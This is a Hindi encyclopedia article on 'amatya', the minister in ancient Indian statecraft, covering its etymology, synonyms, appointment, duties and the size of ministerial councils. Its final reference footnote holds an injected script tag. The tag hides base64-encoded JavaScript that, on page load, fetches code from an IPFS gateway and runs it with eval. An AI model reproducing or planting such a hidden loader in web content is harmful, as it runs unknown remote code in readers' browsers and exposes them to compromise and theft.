अमात्य

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अमात्य भारतीय राजनीति के अनुसार राज्य के सात अंगों में दूसरा अंग है जिसका अर्थ है मंत्री। राजा के परामर्शदाताओं के लिए अमात्य, सचिव तथा मंत्री इन तीनों शब्दों का प्रयोग प्राय: किया जाता है। इनमें अमात्य नि:संदेह प्राचीनतम है। ऋग्वेद के एक मंत्र[1] में 'अमवान्‌' शब्द का यास्क द्वारा निर्दिष्ट अर्थ 'अमात्ययुक्त' ही है।[2] व्युत्पति के अनुसार 'अमात्य' का अर्थ है सर्वदा साथ रहनेवाला व्यक्ति (अमा=साथ)। आपस्तंब धर्मसूत्र में अमात्य का अर्थ नि:संदेह मंत्री है, जहाँ राजा को आदेश है कि वह अपने गुरुओं तथा मंत्रियों से बढ़कर ऐश्वर्य का जीवन न बिताए।[3] अमात्य को पूरी तरह से मंत्री के समकक्ष माना जाता था।

पर्याय

"'रूद्रदामन्‌"' के जूनागढ़ वाले में सचिव शब्द अमात्य का पर्यायवाची माना गया है। सचिवों के दो प्रकार यहाँ बतलाए गए हैं:

  1. मतिसचिव (=राजा को परामर्श देनेवाला मंत्री) तथा,
  2. कर्मसचिव (=निश्चित किए गए कार्यो का संपादन करने वाला)।

अमर के अनुसार भी सचिव (मतिसचिव) अमात्य मंत्री कहलाता है और उससे भिन्न अमात्य 'कर्मसचिव' कहलाते हैं। परंतु यह पार्थक्य अन्य ग्रंथों में नहीं पाया जाता।'सचिव' शब्द का प्रथम प्रयोग ऐतेरेय ब्राह्मण (12।9) में मिलता है जहाँ मरुत इंद्र के 'सचिव' (सहायक या बंधु) बतलाए गए हैं। मंत्रियों की सलाह लेना राजा के लिए नितांत आवश्यक होता है। इस विषय में कौटिल्य, मनु[4] तथा मत्स्यपुराण[5] के वचन बहुत ही स्पष्ट हैं। अमात्य, सचिव तथा मंत्री शब्दों का पर्याय रूप में प्रयोग बहुलता से उपलब्ध होता है जिससे इनके परस्पर पार्थक्य का पता ठीक ठीक नही चलता।

नियुक्ति

अमात्यों के लिए आवश्यक गुणों तथा योग्यता का विशेष वर्णन धर्मसूत्रों तथा स्मृतियों में किया गया है।[6] कौटिल्य के अर्थशास्त्र के अनुसार मंत्रियों का पद ऊँचा होता था और अमात्य का साधारण कोटि का। कौटिल्य का कहना है अमात्यों का परीक्षण धर्म, अर्थ, काम और भय के विषय में अच्छे ढंग से करने पर यदि वे ईमानदार और शुद्ध चरित्रवाले सिद्ध हों, तब उनको नियुक्त करना चाहिए; परंतु मंत्रियों के विषय में उनका आग्रह है कि जो व्यक्ति समस्त परीक्षणों के द्वारा परीक्षित होने पर राज्यभक्त तथा विशुद्धशय प्रमाणित किया जाए, वही मंत्री के पद के लिए योग्य समझा जाता है।[7]

  • अमात्य गुप्त शासनकाल में उच्च प्रशासकीय अधिकारी का पद था।
  • भारत में सम्राट अशोक ने धर्म प्रचारकों के लिए 'महामात्य' नाम के पद की स्थापना करवाई थी।
  • मराठा साम्राज्य में छत्रपति शिवाजी ने भी इस पद को प्रचलित किया था।
  • शिवाजी के समय में अमात्य का अर्थ वित्तमंत्री था, जिसको सरकारी हिसाब-किताब की जाँच करके उस पर हस्ताक्षर करने पड़ते थे।
  • मराठा साम्राज्य में अमात्य का पद बड़ा ही महत्त्वपूर्ण था, जो पेशवा के बाद सबसे बड़ा माना जाता था।
  • परीक्षा के उपाय के निमित प्रयुक्त प्रधान शब्द है-उपधा जिसकी व्याख्या 'नीतिवाक्यामृत' के अनुसार है--

धमार्थिकामभयेषु व्याजेन परचित्तपरीक्षणम्‌ उपधा।

कार्य

राजा को मंत्रणा (मंत्र) देने का कार्य ब्राह्मण का निजी अधिकार था, इसीलिए कालिदास ने ब्राह्मण मंत्रों के द्वारा अनुशासित राजन्य की शक्ति के उपचय की समता 'पवनाग्निसमागम' से दी है[8]। अमात्य का प्रधान कार्य राजा को बुरे मार्ग में जाने से बचाना था और केवल राजनीतिक बातों में ही नहीं, प्रत्युत अन्य आवश्यक विषयों में भी राजा का मंत्रियों से परामर्श करना अनिवार्य था। वह अपने मंत्रियों से मंत्रणा बड़े गुप्त स्थान में करता था, अन्यथा मंत्र और करणीय का भेद खुल जाने से राष्ट्र के अनिष्ट की आशंका बनी रहती थी।

अमात्यपरिषद में सदस्य संख्या

अमात्यपरिषद (अथवा मंत्रिपरिषद्) के सदस्यों की संख्या के विषय में प्राचीन काल से मतभिन्नता दिखलाई पड़ती है। किसी आचार्य का आग्रह मंत्रियों की संख्या तीन-चार तक सीमित रखने के ऊपर है, किंतु कुछ आचार्य उसे सात-आठ तक बढ़ाने के पक्ष में हैं। रामायण[9] में दशरथ के मंत्रियों की संख्या आठ दी गई है और इसी के तथा शुक्रनीतिसार[10] के आधार पर छत्रपति शिवाजी ने अपनी मंत्रिपरिषद् अष्टप्रधानों की बनाई थी। शांतिपर्व, कौटिल्य तथा नीतिवाक्यामृत के वचनों की परीक्षा से यह निष्कर्ष निकाला जा सकता है कि प्राचीन काल में मंत्रिसभा तीन प्रकार की होती थी:-

  1. तीन या चार मंत्रियों का अंतरंग मंत्रिमंडल सबसे अधिक महत्वशाली था।
  2. मंत्रियों की परिषद् जिसमें मंत्रियों की संख्या सात या आठ रहती थी।
  3. अमात्यों या सचिवों की एक बड़ी सभा जिसमें राज्य के विभिन्न विभागों के उच्च अधिकारी भी सम्मिलित होते थे।[11]

टीका टिप्पणी और संदर्भ

  1. (4।4।1)
  2. (निरूक्त 6।12)
  3. (2।10।25।10)
  4. (7।55)
  5. (215।3)
  6. सं.ग्रं.-कौटिलीय अर्थशास्त्र; शुक्रनीति; कामंदकनीतिसार; काशीप्रसाद जायसवाल: हिंदू पॉलिटी।
  7. (अर्थशास्त्र 1।10)
  8. (रघुवंश 8।4)
  9. (बालकांड, 7।2-3)
  10. (2।71।72)
  11. छत्रपति शिवाजी हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 204 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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टीका टिप्पणी और संदर्भ